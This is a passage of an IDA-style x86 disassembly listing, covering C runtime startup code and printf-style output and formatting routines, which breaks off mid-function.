mov [ebp+var_18], esp
call dword_42116C ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4694AC, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4694A8, ecx
shl ecx, 8
add ecx, edx
mov dword_4694A4, ecx
shr eax, 10h
mov dword_4694A0, eax
xor esi, esi
push esi
call sub_418A83
pop ecx
test eax, eax
jnz short loc_417B64
push 1Ch
call sub_417C13
pop ecx
loc_417B64: ; CODE XREF: sub_417AF8+62j
mov [ebp+var_4], esi
call sub_41CC52
call dword_421168 ; GetCommandLineA
mov dword_46AB04, eax
call sub_41CB20
mov dword_4694E0, eax
call sub_41C8D3
call sub_41C81A
call sub_4177FA
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_421164 ; GetStartupInfoA
call sub_41C7C2
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_417BB1
movzx eax, [ebp+var_2C]
jmp short loc_417BB4
; ---------------------------------------------------------------------------
loc_417BB1: ; CODE XREF: sub_417AF8+B1j
push 0Ah
pop eax
loc_417BB4: ; CODE XREF: sub_417AF8+B7j
push eax
push [ebp+var_64]
push esi
push esi
call dword_4210C8 ; GetModuleHandleA
push eax
call sub_40C682
mov [ebp+var_60], eax
push eax
call sub_417827
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_41C63E
pop ecx
pop ecx
retn
sub_417AF8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_417838
; =============== S U B R O U T I N E =======================================
sub_417BEE proc near ; CODE XREF: sub_416852+16p
; sub_41C81A+4Ep ...
arg_0 = dword ptr 4
cmp dword_4694E8, 1
jnz short loc_417BFC
call sub_41CEE0
loc_417BFC: ; CODE XREF: sub_417BEE+7j
push [esp+arg_0]
call sub_41CF19
push 0FFh
call off_437D60
pop ecx
pop ecx
retn
sub_417BEE endp
; =============== S U B R O U T I N E =======================================
sub_417C13 proc near ; CODE XREF: sub_417AF8+66p
arg_0 = dword ptr 4
cmp dword_4694E8, 1
jnz short loc_417C21
call sub_41CEE0
loc_417C21: ; CODE XREF: sub_417C13+7j
push [esp+arg_0]
call sub_41CF19
pop ecx
push 0FFh
call dword_421114 ; ExitProcess
retn
sub_417C13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C37 proc near ; CODE XREF: sub_4154E7+46p
; sub_415A6A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_417D40
test al, 40h
jnz loc_417D40
test al, 1
jz short loc_417C6F
and dword ptr [esi+4], 0
test al, 10h
jz loc_417D40
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_417C6F: ; CODE XREF: sub_417C37+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_417CA9
cmp esi, offset dword_438488
jz short loc_417C97
cmp esi, offset dword_4384A8
jnz short loc_417CA2
loc_417C97: ; CODE XREF: sub_417C37+56j
push ebx
call sub_41D0B0
test eax, eax
pop ecx
jnz short loc_417CA9
loc_417CA2: ; CODE XREF: sub_417C37+5Ej
push esi
call sub_41D06C
pop ecx
loc_417CA9: ; CODE XREF: sub_417C37+4Ej
; sub_417C37+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_417D16
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_417CD9
push edi
push eax
push ebx
call sub_41C42A
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_417D0C
; ---------------------------------------------------------------------------
loc_417CD9: ; CODE XREF: sub_417C37+90j
cmp ebx, 0FFFFFFFFh
jz short loc_417CF4
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46A7C0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_417CF9
; ---------------------------------------------------------------------------
loc_417CF4: ; CODE XREF: sub_417C37+A5j
mov eax, offset dword_4383D0
loc_417CF9: ; CODE XREF: sub_417C37+BBj
test byte ptr [eax+4], 20h
jz short loc_417D0C
push 2
push 0
push ebx
call sub_41BB7F
add esp, 0Ch
loc_417D0C: ; CODE XREF: sub_417C37+A0j
; sub_417C37+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_417D2A
; ---------------------------------------------------------------------------
loc_417D16: ; CODE XREF: sub_417C37+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41C42A
add esp, 0Ch
mov [ebp+arg_4], eax
loc_417D2A: ; CODE XREF: sub_417C37+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_417D36
or dword ptr [esi+0Ch], 20h
jmp short loc_417D45
; ---------------------------------------------------------------------------
loc_417D36: ; CODE XREF: sub_417C37+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_417D48
; ---------------------------------------------------------------------------
loc_417D40: ; CODE XREF: sub_417C37+10j
; sub_417C37+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_417D45: ; CODE XREF: sub_417C37+FDj
or eax, 0FFFFFFFFh
loc_417D48: ; CODE XREF: sub_417C37+107j
pop esi
pop ebx
pop ebp
retn
sub_417C37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D4C proc near ; CODE XREF: sub_4154E7+29p
; sub_415A6A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_418465
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_417D80
; ---------------------------------------------------------------------------
loc_417D78: ; CODE XREF: sub_417D4C+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_417D80: ; CODE XREF: sub_417D4C+2Aj
cmp [ebp+var_14], edx
jl loc_418465
cmp bl, 20h
jl short loc_417DA1
cmp bl, 78h
jg short loc_417DA1
movsx eax, bl
mov al, [eax+421664h]
and eax, 0Fh
jmp short loc_417DA3
; ---------------------------------------------------------------------------
loc_417DA1: ; CODE XREF: sub_417D4C+40j
; sub_417D4C+45j
xor eax, eax
loc_417DA3: ; CODE XREF: sub_417D4C+53j
movsx eax, byte_421684[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_418454 ; default
jmp off_41846D[eax*4] ; switch jump
loc_417DC1: ; DATA XREF: .nsp0:off_41846Do
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417DDC: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
movsx eax, bl ; jumptable 00417DBA case 2
sub eax, 20h
jz short loc_417E1F
sub eax, 3
jz short loc_417E16
sub eax, 8
jz short loc_417E0D
dec eax
dec eax
jz short loc_417E04
sub eax, 3
jnz loc_418454 ; default
or [ebp+var_4], 8
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E04: ; CODE XREF: sub_417D4C+A4j
or [ebp+var_4], 4
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E0D: ; CODE XREF: sub_417D4C+A0j
or [ebp+var_4], 1
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E16: ; CODE XREF: sub_417D4C+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E1F: ; CODE XREF: sub_417D4C+96j
or [ebp+var_4], 2
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E28: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
cmp bl, 2Ah ; jumptable 00417DBA case 3
jnz short loc_417E50
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_418454 ; default
or [ebp+var_4], 4
neg eax
loc_417E48: ; CODE XREF: sub_417D4C+111j
mov [ebp+var_20], eax
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E50: ; CODE XREF: sub_417D4C+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_417E48
; ---------------------------------------------------------------------------
loc_417E5F: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
mov [ebp+var_10], edx ; jumptable 00417DBA case 4
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E67: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
cmp bl, 2Ah ; jumptable 00417DBA case 5
jnz short loc_417E8A
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_418454 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E8A: ; CODE XREF: sub_417D4C+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E9C: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
cmp bl, 49h ; jumptable 00417DBA case 6
jz short loc_417ECF
cmp bl, 68h
jz short loc_417EC6
cmp bl, 6Ch
jz short loc_417EBD
cmp bl, 77h
jnz loc_418454 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417EBD: ; CODE XREF: sub_417D4C+15Dj
or [ebp+var_4], 10h
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417EC6: ; CODE XREF: sub_417D4C+158j
or [ebp+var_4], 20h
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417ECF: ; CODE XREF: sub_417D4C+153j
cmp byte ptr [edi], 36h
jnz short loc_417EE8
cmp byte ptr [edi+1], 34h
jnz short loc_417EE8
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417EE8: ; CODE XREF: sub_417D4C+186j
; sub_417D4C+18Cj
mov [ebp+var_30], edx
loc_417EEB: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
mov ecx, off_437D70 ; jumptable 00417DBA case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_417F17
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41848D
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_417F17: ; CODE XREF: sub_417D4C+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41848D
add esp, 0Ch
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417F2F: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
movsx eax, bl ; jumptable 00417DBA case 7
cmp eax, 67h
jg loc_418157
cmp eax, 65h
jge loc_417FDA
cmp eax, 58h
jg loc_418038
jz loc_4181CB
sub eax, 43h
jz loc_417FFB
dec eax
dec eax
jz short loc_417FD0
dec eax
dec eax
jz short loc_417FD0
sub eax, 0Ch
jnz loc_418356
test word ptr [ebp+var_4], 830h
jnz short loc_417F79
or byte ptr [ebp+var_4+1], 8
loc_417F79: ; CODE XREF: sub_417D4C+227j
; sub_417D4C+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_417F86
mov esi, 7FFFFFFFh
loc_417F86: ; CODE XREF: sub_417D4C+233j
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41819F
test ecx, ecx
jnz short loc_417FAE
mov ecx, off_437D6C
mov [ebp+var_8], ecx
loc_417FAE: ; CODE XREF: sub_417D4C+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_417FB7: ; CODE XREF: sub_417D4C+282j
mov edx, esi
dec esi
test edx, edx
jz loc_418196
cmp word ptr [eax], 0
jz loc_418196
inc eax
inc eax
jmp short loc_417FB7
; ---------------------------------------------------------------------------
loc_417FD0: ; CODE XREF: sub_417D4C+212j
; sub_417D4C+216j
mov [ebp+var_34], 1
add bl, 20h
loc_417FDA: ; CODE XREF: sub_417D4C+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4180BE
mov [ebp+var_10], 6
jmp loc_4180CC
; ---------------------------------------------------------------------------
loc_417FFB: ; CODE XREF: sub_417D4C+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_418007
or byte ptr [ebp+var_4+1], 8
loc_418007: ; CODE XREF: sub_417D4C+2B5j
; sub_417D4C+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41804E
call sub_418548
push eax
lea eax, [ebp+var_248]
push eax
call sub_41D18F
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_418061
mov [ebp+var_28], 1
jmp short loc_418061
; ---------------------------------------------------------------------------
loc_418038: ; CODE XREF: sub_417D4C+1FBj
sub eax, 5Ah
jz short loc_41806F
sub eax, 9
jz short loc_418007
dec eax
jz loc_418231
jmp loc_418356
; ---------------------------------------------------------------------------
loc_41804E: ; CODE XREF: sub_417D4C+2C5j
call sub_41852B
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_418061: ; CODE XREF: sub_417D4C+2E1j
; sub_417D4C+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_418356
; ---------------------------------------------------------------------------
loc_41806F: ; CODE XREF: sub_417D4C+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test eax, eax
pop ecx
jz short loc_4180B0
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4180B0
test byte ptr [ebp+var_4+1], 8
jz short loc_4180A1
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_418356
; ---------------------------------------------------------------------------
loc_4180A1: ; CODE XREF: sub_417D4C+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_418353
; ---------------------------------------------------------------------------
loc_4180B0: ; CODE XREF: sub_417D4C+32Fj
; sub_417D4C+336j
mov eax, off_437D68
mov [ebp+var_8], eax
push eax
jmp loc_41814C
; ---------------------------------------------------------------------------
loc_4180BE: ; CODE XREF: sub_417D4C+29Dj
jnz short loc_4180CC
cmp bl, 67h
jnz short loc_4180CC
mov [ebp+var_10], 1
loc_4180CC: ; CODE XREF: sub_417D4C+2AAj
; sub_417D4C:loc_4180BEj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_4380A8
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41811E
cmp [ebp+var_10], 0
jnz short loc_41811E
lea eax, [ebp+var_248]
push eax
call off_4380B4
pop ecx
loc_41811E: ; CODE XREF: sub_417D4C+3BCj
; sub_417D4C+3C2j
cmp bl, 67h
jnz short loc_418135
test esi, esi
jnz short loc_418135
lea eax, [ebp+var_248]
push eax
call off_4380AC
pop ecx
loc_418135: ; CODE XREF: sub_417D4C+3D5j
; sub_417D4C+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41814B
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41814B: ; CODE XREF: sub_417D4C+3F0j
push edi
loc_41814C: ; CODE XREF: sub_417D4C+36Dj
call sub_415CF0
pop ecx
jmp loc_418353
; ---------------------------------------------------------------------------
loc_418157: ; CODE XREF: sub_417D4C+1E9j
sub eax, 69h
jz loc_418231
sub eax, 5
jz loc_418207
dec eax
jz loc_4181F4
dec eax
jz short loc_4181C4
sub eax, 3
jz loc_417F79
dec eax
dec eax
jz loc_418235
sub eax, 3
jnz loc_418356
mov [ebp+var_2C], 27h
jmp short loc_4181D2
; ---------------------------------------------------------------------------
loc_418196: ; CODE XREF: sub_417D4C+270j
; sub_417D4C+27Aj
sub eax, ecx
sar eax, 1
jmp loc_418353
; ---------------------------------------------------------------------------
loc_41819F: ; CODE XREF: sub_417D4C+24Fj
test ecx, ecx
jnz short loc_4181AC
mov ecx, off_437D68
mov [ebp+var_8], ecx
loc_4181AC: ; CODE XREF: sub_417D4C+455j
mov eax, ecx
loc_4181AE: ; CODE XREF: sub_417D4C+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4181BD
cmp byte ptr [eax], 0
jz short loc_4181BD
inc eax
jmp short loc_4181AE
; ---------------------------------------------------------------------------
loc_4181BD: ; CODE XREF: sub_417D4C+467j
; sub_417D4C+46Cj
sub eax, ecx
jmp loc_418353
; ---------------------------------------------------------------------------
loc_4181C4: ; CODE XREF: sub_417D4C+425j
mov [ebp+var_10], 8
loc_4181CB: ; CODE XREF: sub_417D4C+201j
mov [ebp+var_2C], 7
loc_4181D2: ; CODE XREF: sub_417D4C+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41823C
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41823C
; ---------------------------------------------------------------------------
loc_4181F4: ; CODE XREF: sub_417D4C+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41823C
or byte ptr [ebp+var_4+1], 2
jmp short loc_41823C
; ---------------------------------------------------------------------------
loc_418207: ; CODE XREF: sub_417D4C+417j
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_418220
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_418225
; ---------------------------------------------------------------------------
loc_418220: ; CODE XREF: sub_417D4C+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_418225: ; CODE XREF: sub_417D4C+4D2j
mov [ebp+var_28], 1
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_418231: ; CODE XREF: sub_417D4C+2F7j
; sub_417D4C+40Ej
or [ebp+var_4], 40h
loc_418235: ; CODE XREF: sub_417D4C+432j
mov [ebp+var_C], 0Ah
loc_41823C: ; CODE XREF: sub_417D4C+491j
; sub_417D4C+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41824E
lea eax, [ebp+arg_8]
push eax
call sub_418538
pop ecx
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41824E: ; CODE XREF: sub_417D4C+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_418275
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41826A
call sub_41852B
pop ecx
movsx eax, ax
loc_418267: ; CODE XREF: sub_417D4C+527j
; sub_417D4C+539j
cdq
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41826A: ; CODE XREF: sub_417D4C+510j
call sub_41852B
pop ecx
movzx eax, ax
jmp short loc_418267
; ---------------------------------------------------------------------------
loc_418275: ; CODE XREF: sub_417D4C+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_418287
call sub_41852B
pop ecx
jmp short loc_418267
; ---------------------------------------------------------------------------
loc_418287: ; CODE XREF: sub_417D4C+531j
call sub_41852B
pop ecx
xor edx, edx
loc_41828F: ; CODE XREF: sub_417D4C+500j
; sub_417D4C+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4182B0
test edx, edx
jg short loc_4182B0
jl short loc_41829F
test eax, eax
jnb short loc_4182B0
loc_41829F: ; CODE XREF: sub_417D4C+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4182B4
; ---------------------------------------------------------------------------
loc_4182B0: ; CODE XREF: sub_417D4C+547j
; sub_417D4C+54Bj ...
mov esi, eax
mov edi, edx
loc_4182B4: ; CODE XREF: sub_417D4C+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4182BD
and edi, 0
loc_4182BD: ; CODE XREF: sub_417D4C+56Cj
cmp [ebp+var_10], 0
jge short loc_4182CC
mov [ebp+var_10], 1
jmp short loc_4182D0
; ---------------------------------------------------------------------------
loc_4182CC: ; CODE XREF: sub_417D4C+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4182D0: ; CODE XREF: sub_417D4C+57Ej
mov eax, esi
or eax, edi
jnz short loc_4182DA
and [ebp+var_1C], 0
loc_4182DA: ; CODE XREF: sub_417D4C+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4182E0: ; CODE XREF: sub_417D4C+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4182F0
mov eax, esi
or eax, edi
jz short loc_41832B
loc_4182F0: ; CODE XREF: sub_417D4C+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_417260
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_4172E0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_418321
add ebx, [ebp+var_2C]
loc_418321: ; CODE XREF: sub_417D4C+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4182E0
; ---------------------------------------------------------------------------
loc_41832B: ; CODE XREF: sub_417D4C+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_418356
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_418349
test eax, eax
jnz short loc_418356
loc_418349: ; CODE XREF: sub_417D4C+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_418353: ; CODE XREF: sub_417D4C+35Fj
; sub_417D4C+406j ...
mov [ebp+var_C], eax
loc_418356: ; CODE XREF: sub_417D4C+21Bj
; sub_417D4C+2FDj ...
cmp [ebp+var_28], 0
jnz loc_418454 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41838E
test bh, 1
jz short loc_418373
mov [ebp+var_16], 2Dh
jmp short loc_418387
; ---------------------------------------------------------------------------
loc_418373: ; CODE XREF: sub_417D4C+61Fj
test bl, 1
jz short loc_41837E
mov [ebp+var_16], 2Bh
jmp short loc_418387
; ---------------------------------------------------------------------------
loc_41837E: ; CODE XREF: sub_417D4C+62Aj
test bl, 2
jz short loc_41838E
mov [ebp+var_16], 20h
loc_418387: ; CODE XREF: sub_417D4C+625j
; sub_417D4C+630j
mov [ebp+var_1C], 1
loc_41838E: ; CODE XREF: sub_417D4C+61Aj
; sub_417D4C+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4183AE
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184C2
add esp, 10h
loc_4183AE: ; CODE XREF: sub_417D4C+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4184F3
add esp, 10h
test bl, 8
jz short loc_4183E0
test bl, 4
jnz short loc_4183E0
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4184C2
add esp, 10h
loc_4183E0: ; CODE XREF: sub_417D4C+67Bj
; sub_417D4C+680j
cmp [ebp+var_24], 0
jz short loc_418427
cmp [ebp+var_C], 0
jle short loc_418427
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4183F5: ; CODE XREF: sub_417D4C+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41D18F
pop ecx
test eax, eax
pop ecx
jle short loc_41843C
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4184F3
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4183F5
jmp short loc_41843C
; ---------------------------------------------------------------------------
loc_418427: ; CODE XREF: sub_417D4C+698j
; sub_417D4C+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4184F3
add esp, 10h
loc_41843C: ; CODE XREF: sub_417D4C+6BCj
; sub_417D4C+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_418454 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184C2
add esp, 10h
loc_418454: ; CODE XREF: sub_417D4C+68j
; sub_417D4C+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_417D78
loc_418465: ; CODE XREF: sub_417D4C+1Fj
; sub_417D4C+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_417D4C endp
; ---------------------------------------------------------------------------
off_41846D dd offset loc_417EEB ; DATA XREF: sub_417D4C+6Er
dd offset loc_417DC1 ; jump table for switch statement
dd offset loc_417DDC
dd offset loc_417E28
dd offset loc_417E5F
dd offset loc_417E67
dd offset loc_417E9C
dd offset loc_417F2F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41848D proc near ; CODE XREF: sub_417D4C+1BDp
; sub_417D4C+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_4184A6
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4184B1
; ---------------------------------------------------------------------------
loc_4184A6: ; CODE XREF: sub_41848D+9j
push ecx
push [ebp+arg_0]
call sub_417C37
pop ecx
pop ecx
loc_4184B1: ; CODE XREF: sub_41848D+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4184BE
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4184BE: ; CODE XREF: sub_41848D+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41848D endp
; =============== S U B R O U T I N E =======================================
sub_4184C2 proc near ; CODE XREF: sub_417D4C+65Ap
; sub_417D4C+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4184F0
mov esi, [esp+8+arg_C]
loc_4184D3: ; CODE XREF: sub_4184C2+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41848D
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4184F0
mov eax, edi
dec edi
test eax, eax
jg short loc_4184D3
loc_4184F0: ; CODE XREF: sub_4184C2+Bj
; sub_4184C2+25j
pop edi
pop esi
retn
sub_4184C2 endp
; =============== S U B R O U T I N E =======================================
sub_4184F3 proc near ; CODE XREF: sub_417D4C+670p
; sub_417D4C+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_418527
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_418509: ; CODE XREF: sub_4184F3+32j
